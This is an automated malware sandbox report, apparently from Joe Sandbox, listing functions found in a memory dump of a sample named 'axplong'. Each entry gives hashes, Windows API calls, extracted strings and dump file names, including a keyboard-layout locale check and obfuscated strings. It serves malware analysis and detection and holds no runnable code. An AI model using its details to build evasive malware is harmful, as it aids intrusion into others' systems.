Instruction Fuzzy Hash: 6723F371E00158DBEB19DB28CD8979DBB769BC2304F548298E0096B2C6EB7D5F84CF51

Function 00795DF0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0000043f, xrefs: 0079603B
00000423, xrefs: 0079600A
00000422, xrefs: 00795FD9
Keyboard Layout\Preload, xrefs: 00795F64
00000419, xrefs: 00795FA8

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 77193c3918f65ff775ea90755d534885d7c91aeae58fb90752fa6b3e2984db89
Instruction ID: 3efab643e4685f98cd825c80380caa1db2201a8ca190132509adba2b06cef156
Opcode Fuzzy Hash: 77193c3918f65ff775ea90755d534885d7c91aeae58fb90752fa6b3e2984db89
Instruction Fuzzy Hash: F2E18E71900218ABEF25DFA4CC89BDEB779AB05304F5042D9E409A7291E778AFC4CF51

Function 00797D00 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00797EA3

Strings

JmpxQb==, xrefs: 007981B2
JmpyPb==, xrefs: 0079810A
JmpxRL==, xrefs: 00798062

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JmpxQb==$JmpxRL==$JmpyPb==
API String ID: 1721193555-2057465332
Opcode ID: b6359a007f6538a88fcf9db4b8698a3429e4e7f873801763d1779ef2b56fb964
Instruction ID: f17dcf1d98f551a072d00b3b487bf9683a689bb9af575d6770230e802b150e7b
Opcode Fuzzy Hash: b6359a007f6538a88fcf9db4b8698a3429e4e7f873801763d1779ef2b56fb964
Instruction Fuzzy Hash: 61D1C5B1E04618DBDF14FB28EC4A3AD7761AB42320F544288E4156B3C2DB7D9E81CBD2

Function 007C6E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,?,00000000,00000000), ref: 007C6E23
GetFileInformationByHandle.KERNELBASE(?,?), ref: 007C6E7D
__dosmaperr.LIBCMT ref: 007C6F12

Part of subcall function 007C7177: __dosmaperr.LIBCMT ref: 007C71AC

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 78926e1b748042fcbe6a97926c7977280f5ce5a5688c2f6e85a55fd744d7793b
Instruction ID: 35dbb786aa96dd213e12236e8b331e2bacf2074627bc3950ad2a5330c0452fe8
Opcode Fuzzy Hash: 78926e1b748042fcbe6a97926c7977280f5ce5a5688c2f6e85a55fd744d7793b
Instruction Fuzzy Hash: E1414F75900644ABDB24EFB5E885EAFBBF9EF88300B10441DF856D3210EB34A944CB61

Function 007CD4F4 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

hpG|, xrefs: 007CD4FB

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: hpG|
API String ID: 0-1840024693
Opcode ID: a9bcbed6c95320603dc144d008a86ea57a1a89f194355d2d18e7719068753dc9
Instruction ID: 43c98e319c64ee642dcb57e4ff6757dd963bc152974fe6c3b3d0766443ed8590
Opcode Fuzzy Hash: a9bcbed6c95320603dc144d008a86ea57a1a89f194355d2d18e7719068753dc9
Instruction Fuzzy Hash: DD61D272D012149BDF35EFA8E889FADB7A0AB55354F24813EE449BB250D7399D00CB61

Function 007982B0 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00798454

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 62d04cdf516f6e0a0051517e3f6434c51390817baae85f9cdb3943400e41a41c
Instruction ID: 575d7a7446970241dc19b6c1e9c69b8a718e2a07adce4797fc4556e7c26c22fd
Opcode Fuzzy Hash: 62d04cdf516f6e0a0051517e3f6434c51390817baae85f9cdb3943400e41a41c
Instruction Fuzzy Hash: 41512771D002589BEF24EF28DD49BEDB7759F46310F504299E804A73D2EB399E808B92

Function 007C6C99 Relevance: 1.6, APIs: 1, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b39471fc451e58a8164ae456a56455a4c8530f08670fa8e2801b5f6dc47529e
Instruction ID: f62f9da517b7a151855650982c0c51ef8e4dffbacbce6d666d50696d8221f127
Opcode Fuzzy Hash: 8b39471fc451e58a8164ae456a56455a4c8530f08670fa8e2801b5f6dc47529e
Instruction Fuzzy Hash: C5213772A05608BAEF117B649C86FAF37299F41778F20035CF9243B1D1DB789E0196A1

Function 007C6F71 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?), ref: 007C6FB3

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 9b132883f0ce5fdf0d22d4a45ed9c36f9198213223aca0fa4514129e9fa87fc9
Instruction ID: b4736b19fa5968d615a03fc2bfc20606aac55a67772973d89cc22194c2f3d3f8
Opcode Fuzzy Hash: 9b132883f0ce5fdf0d22d4a45ed9c36f9198213223aca0fa4514129e9fa87fc9
Instruction Fuzzy Hash: 2911ECB690020CAFDB10DE95D984FDFB7BCAB48310F50526EE511E6180EB34EB45CB61

Function 007CD6EF Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00000003,007CA5ED,?,007C74AE,?,00000000,?), ref: 007CD730

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: daf1a6d1ef0dc805f55a0b1f256f2717fc143e9e291584f89069ea804b4f3ad0
Instruction ID: 2cb8d98d08e0235a4d2014b7b16727ff2dcaf2c98664221295cf1dfe6d40835a
Opcode Fuzzy Hash: daf1a6d1ef0dc805f55a0b1f256f2717fc143e9e291584f89069ea804b4f3ad0
Instruction Fuzzy Hash: D8F0E931685124A69B313A259C05F5B7B999F817B0B18813DEC04AA181DE7DEC0087F1

Function 007A6AE0 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE ref: 007A6B65

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 02ba47319f66dd0475a9b1fc6a497915829d1107f21c9bdf738a131e30671c1c
Instruction ID: bff9b74260ffcd874afe739035959a542c5293dcde4ef667914b7d44f39ad44a
Opcode Fuzzy Hash: 02ba47319f66dd0475a9b1fc6a497915829d1107f21c9bdf738a131e30671c1c
Instruction Fuzzy Hash: FFF0F9B1E00518EBC700BB689C0B72D7B75A747720F940348E811673D2DB7C590187D2

Function 04BB0D2B Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2608793540.0000000004BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4bb0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c1fdcf288f294ffea85887820d98ce586b514730f1409fdab34e8816c50dc79
Instruction ID: 669aa59eb72a5edc749d0b9eb051783cf29f798a40073f851fd84181d90a00e4
Opcode Fuzzy Hash: 0c1fdcf288f294ffea85887820d98ce586b514730f1409fdab34e8816c50dc79
Instruction Fuzzy Hash: 68E02B5718C5509D4143755A41C43F67B12776B23033806C688C70A2A2F5853849F5D5

Function 04BB0D12 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2608793540.0000000004BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4bb0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64cefb48139f05d878558e1d0054c9e12450f7ced3d3a9aabc15816115b9a9d1
Instruction ID: 69ad8b7fff1df11ab889a85d5cd1b2eaf195e6fbbb52deed54f1c1b9582f1519
Opcode Fuzzy Hash: 64cefb48139f05d878558e1d0054c9e12450f7ced3d3a9aabc15816115b9a9d1
Instruction Fuzzy Hash: 72E0269A348704EEC042349A8A883F3764633773307A043D16DD3195D1F6D93089B2D1

Function 04BB0D0A Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2608793540.0000000004BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4bb0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1df5e7e5d2979c860d3bfbf452d488b6ae64d6a59171b57dfd1f9636668c265
Instruction ID: a377df62e50585c717c57c5e728df5e0ad52db980618be86786eefa92aa1de62
Opcode Fuzzy Hash: c1df5e7e5d2979c860d3bfbf452d488b6ae64d6a59171b57dfd1f9636668c265
Instruction Fuzzy Hash: 25D05B5B34C611E88182314A91893F79A42376723126443D36DD7085D1F9C93199B1D1

Non-executed Functions

Function 0079E440 Relevance: 13.4, Strings: 10, Instructions: 878COMMON

Download Yara Rule

Strings

UD==, xrefs: 0079EA1F, 0079EC66
246122658369, xrefs: 0079F647, 0079F924, 007A04F7
WGt=, xrefs: 0079F62D, 0079F90A
WWp=, xrefs: 007A04DA
111, xrefs: 0079F6B0
fed3aa, xrefs: 0079FA9E
MJB+, xrefs: 0079E734
MT==, xrefs: 0079E4A5
GqKudSO2, xrefs: 0079E47F
#, xrefs: 007A0534

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$GqKudSO2$MJB+$MT==$UD==$WGt=$WWp=$fed3aa
API String ID: 0-3582826820
Opcode ID: 878e2bf2530bc459b2ea1fda87d38c18f501edf68cccd58beee938c2f8efb748
Instruction ID: 3256377c84d8a8066a434f02089d5442d4b837c949d5d37b299fa1a67577e46e
Opcode Fuzzy Hash: 878e2bf2530bc459b2ea1fda87d38c18f501edf68cccd58beee938c2f8efb748
Instruction Fuzzy Hash: 9672D670A04248DBEF18EF68C9497DD7FB6AB46304F508299E805673C2D77D9A84CBD2

Function 007D3068 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 007D31E3

Strings

1#IND, xrefs: 007D4373
1#QNAN, xrefs: 007D4381
1#SNAN, xrefs: 007D437A
1#INF, xrefs: 007D439E

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: e3b8c6c16511c4aa11600edc83c8db887dade550bf9cbe58ca310af313a97656
Instruction ID: 28a41a20ce706e66ed23df98004462e70be4d170686994e4227631bb74d11568
Opcode Fuzzy Hash: e3b8c6c16511c4aa11600edc83c8db887dade550bf9cbe58ca310af313a97656
Instruction Fuzzy Hash: F0C22871E086288FDB25CE28DD447A9B7B5EB48315F1441EBD84EA7340E779AE818F41

Function 007D2BD0 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction ID: cea52adddad7ef096458f310c446f6750624482400a0aa9896ac0db80e10d95f
Opcode Fuzzy Hash: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction Fuzzy Hash: 7CF13F71E012199FDF14CFA8C9806AEF7B1FF98314F15826AE819A7345D735AE42CB90

Function 007ACB1A Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,007ACE82,?,?,?,?,007ACEB7,?,?,?,?,?,?,007AC42D,?,00000001), ref: 007ACB33

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
